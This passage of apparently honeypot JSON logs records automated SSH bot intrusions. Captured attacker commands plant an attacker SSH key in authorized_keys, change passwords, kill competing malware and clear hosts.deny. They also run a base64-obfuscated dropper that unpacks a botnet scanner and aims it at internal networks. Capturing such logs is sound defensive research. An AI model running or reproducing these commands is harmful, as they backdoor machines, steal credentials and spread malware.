GNU/Linux"},{"seq":27,"at":"2026-08-25T20:00:31.796033+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T20:00:31.796725+00:00","kind":"output","latency_ms":null,"data":"mega"},{"seq":29,"at":"2026-08-25T20:00:32.317333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T20:00:33.363167+00:00","kind":"output","latency_ms":1046,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1\nModel: 1"},{"seq":31,"at":"2026-08-25T20:00:33.878596+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T20:00:34.597624+00:00","kind":"output","latency_ms":718,"data":"24G"},{"seq":33,"at":"2026-08-25T20:00:36.231125+00:00","kind":"input","latency_ms":null,"data":"echo \"mega 123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T20:00:36.746515+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T20:00:37.248505+00:00","kind":"output","latency_ms":501,"data":""},{"seq":36,"at":"2026-08-25T20:00:38.574465+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T20:00:39.199531+00:00","kind":"output","latency_ms":624,"data":"1"},{"seq":38,"at":"2026-08-25T20:00:39.730856+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T20:00:40.498125+00:00","kind":"output","latency_ms":778,"data":"1"},{"seq":40,"at":"2026-08-25T20:00:41.016402+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T20:00:41.532885+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T20:00:42.212965+00:00","kind":"output","latency_ms":678,"data":"1"},{"seq":43,"at":"2026-08-25T20:00:42.730774+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T20:00:43.337383+00:00","kind":"output","latency_ms":606,"data":"1"},{"seq":45,"at":"2026-08-25T20:00:43.857064+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T20:00:44.473001+00:00","kind":"output","latency_ms":616,"data":""},{"seq":47,"at":"2026-08-25T20:00:52.318899+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T20:00:52.319379+00:00","kind":"output","latency_ms":null,"data":"mega"}],"credentials":[{"username":"mega","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"5ab389f2-2ab3-4d81-b9ca-0b4d742dd8ff","name":"lunar-orderly-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"187.174.238.116","src_port":48254,"username":"noah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":368,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T20:00:06.348189+00:00","ended_at":"2026-08-25T20:00:06.453476+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3214,"events":[{"seq":1,"at":"2026-08-25T19:59:36.378791+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:59:36.743797+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:59:40.695010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:59:40.695313+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:59:41.062577+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nP6VTmVOF13VA\\nP6VTmVOF13VA\"|passwd|bash"},{"seq":6,"at":"2026-08-25T19:59:41.427776+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nP6VTmVOF13VA\\nP6VTmVOF13VA\\n\"|passwd"},{"seq":7,"at":"2026-08-25T19:59:41.793685+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T19:59:41.794150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T19:59:42.161670+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T19:59:43.427063+00:00","kind":"output","latency_ms":1265,"data":"15888 2123 10345 1282 180 2438"},{"seq":11,"at":"2026-08-25T19:59:43.794769+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T19:59:45.122487+00:00","kind":"output","latency_ms":1327,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T19:59:45.489339+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T19:59:45.489816+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:59:45.856793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T19:59:45.857725+00:00","kind":"output","latency_ms":null,"data":" 19:59:45 up 5 days, 16:49, 0 user, load average: 0.34, 0.37, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T19:59:46.225897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T19:59:46.226528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T19:59:46.592792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T19:59:46.593221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T19:59:46.960075+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T19:59:46.960899+00:00","kind":"output","latency_ms":null,"data":"top - 19:59:46 up 5 days, 16:49, 0 user, load average: 0.34, 0.37, 0.31\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T19:59:47.329036+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T19:59:47.329455+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T19:59:47.697230+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T19:59:47.697770+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T19:59:48.064581+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T19:59:48.065634+00:00","kind":"output","latency_ms":null,"data":"noah"},{"seq":29,"at":"2026-08-25T19:59:48.431779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T19:59:49.106132+00:00","kind":"output","latency_ms":673,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T19:59:49.473727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T19:59:50.323484+00:00","kind":"output","latency_ms":848,"data":"24G"},{"seq":33,"at":"2026-08-25T19:59:51.635447+00:00","kind":"input","latency_ms":null,"data":"echo \"noah password\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T19:59:52.002051+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T19:59:52.457380+00:00","kind":"output","latency_ms":454,"data":""},{"seq":36,"at":"2026-08-25T19:59:53.278949+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T19:59:53.911824+00:00","kind":"output","latency_ms":632,"data":""},{"seq":38,"at":"2026-08-25T19:59:54.280658+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T19:59:54.792201+00:00","kind":"output","latency_ms":510,"data":""},{"seq":40,"at":"2026-08-25T19:59:55.161694+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T19:59:55.529755+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:59:56.534161+00:00","kind":"output","latency_ms":1005,"data":""},{"seq":43,"at":"2026-08-25T19:59:56.904866+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T19:59:57.390011+00:00","kind":"output","latency_ms":484,"data":""},{"seq":45,"at":"2026-08-25T19:59:57.760782+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T19:59:58.251048+00:00","kind":"output","latency_ms":491,"data":""},{"seq":47,"at":"2026-08-25T20:00:06.349188+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T20:00:06.350948+00:00","kind":"output","latency_ms":null,"data":"noah"}],"credentials":[{"username":"noah","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"363f34e1-fc48-42df-a921-01e431b5c77e","name":"wandering-coastal-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"124.156.173.135","src_port":51870,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":673,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T19:55:06.836657+00:00","ended_at":"2026-08-25T19:55:07.041931+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3981,"events":[{"seq":1,"at":"2026-08-25T19:54:27.338074+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:54:28.009697+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:54:33.233044+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:54:33.234025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:54:33.906690+00:00","kind":"input","latency_ms":null,"data":"echo \"root:yhr90Ge8Aqz2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T19:54:34.579498+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T19:54:34.700544+00:00","kind":"output","latency_ms":792,"data":""},{"seq":8,"at":"2026-08-25T19:54:35.252444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T19:54:35.253733+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T19:54:35.929130+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T19:54:37.039038+00:00","kind":"output","latency_ms":1112,"data":"15888 2310 13578 0 0 0"},{"seq":12,"at":"2026-08-25T19:54:37.712648+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T19:54:38.390449+00:00","kind":"output","latency_ms":677,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T19:54:39.064053+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:54:39.064619+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T19:54:39.738599+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T19:54:39.739025+00:00","kind":"output","latency_ms":null,"data":" 19:54:39 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T19:54:40.412047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T19:54:40.412370+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T19:54:41.084903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T19:54:41.085735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T19:54:41.759286+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T19:54:41.759935+00:00","kind":"output","latency_ms":null,"data":"top - 19:54:41 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T19:54:42.433212+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T19:54:42.433503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T19:54:43.106862+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T19:54:43.113794+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T19:54:43.779456+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T19:54:43.780101+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T19:54:44.453835+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T19:54:45.427286+00:00","kind":"output","latency_ms":972,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T19:54:46.100828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T19:54:46.679963+00:00","kind":"output","latency_ms":577,"data":"24G"},{"seq":34,"at":"2026-08-25T19:54:48.757758+00:00","kind":"input","latency_ms":null,"data":"echo \"root Dev@1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T19:54:49.430439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T19:54:50.601724+00:00","kind":"output","latency_ms":1170,"data":""},{"seq":37,"at":"2026-08-25T19:54:51.828939+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T19:54:52.548915+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T19:54:53.222781+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T19:54:53.925904+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T19:54:54.602499+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:54:55.269711+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T19:54:56.105915+00:00","kind":"output","latency_ms":835,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-25T19:54:56.780857+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T19:54:57.348907+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-25T19:54:58.024926+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T19:54:58.507116+00:00","kind":"output","latency_ms":483,"data":""},{"seq":48,"at":"2026-08-25T19:55:06.840987+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T19:55:06.843220+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Dev@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8cb965bd-ccac-4fcb-a146-078a680bfd99","name":"emerald-austere-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"172.190.51.254","src_port":45350,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":100,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T19:52:48.798094+00:00","ended_at":"2026-08-25T19:52:48.815144+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3356,"events":[{"seq":1,"at":"2026-08-25T19:52:23.569079+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:52:23.638783+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:52:32.297730+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:52:32.298909+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:52:32.367598+00:00","kind":"input","latency_ms":null,"data":"echo -e \"adminadmin\\nE7wb8oUwwmhW\\nE7wb8oUwwmhW\"|passwd|bash"},{"seq":6,"at":"2026-08-25T19:52:32.498311+00:00","kind":"input","latency_ms":null,"data":"echo \"adminadmin\\nE7wb8oUwwmhW\\nE7wb8oUwwmhW\\n\"|passwd"},{"seq":7,"at":"2026-08-25T19:52:32.589261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T19:52:32.589833+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T19:52:32.669656+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T19:52:33.518794+00:00","kind":"output","latency_ms":848,"data":"15888 2314 1245 672 11728 11378"},{"seq":11,"at":"2026-08-25T19:52:33.594052+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T19:52:34.688232+00:00","kind":"output","latency_ms":1093,"data":"-rwxr-xr-x 1 root root 0 Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T19:52:34.774479+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T19:52:34.775126+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:52:35.025878+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T19:52:35.026336+00:00","kind":"output","latency_ms":null,"data":" 19:52:35 up 5 days, 16:42, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T19:52:35.115593+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T19:52:35.116618+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T19:52:35.200423+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T19:52:35.200806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T19:52:35.267791+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T19:52:35.268272+00:00","kind":"output","latency_ms":null,"data":"top - 19:52:35 up 5 days, 16:42, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 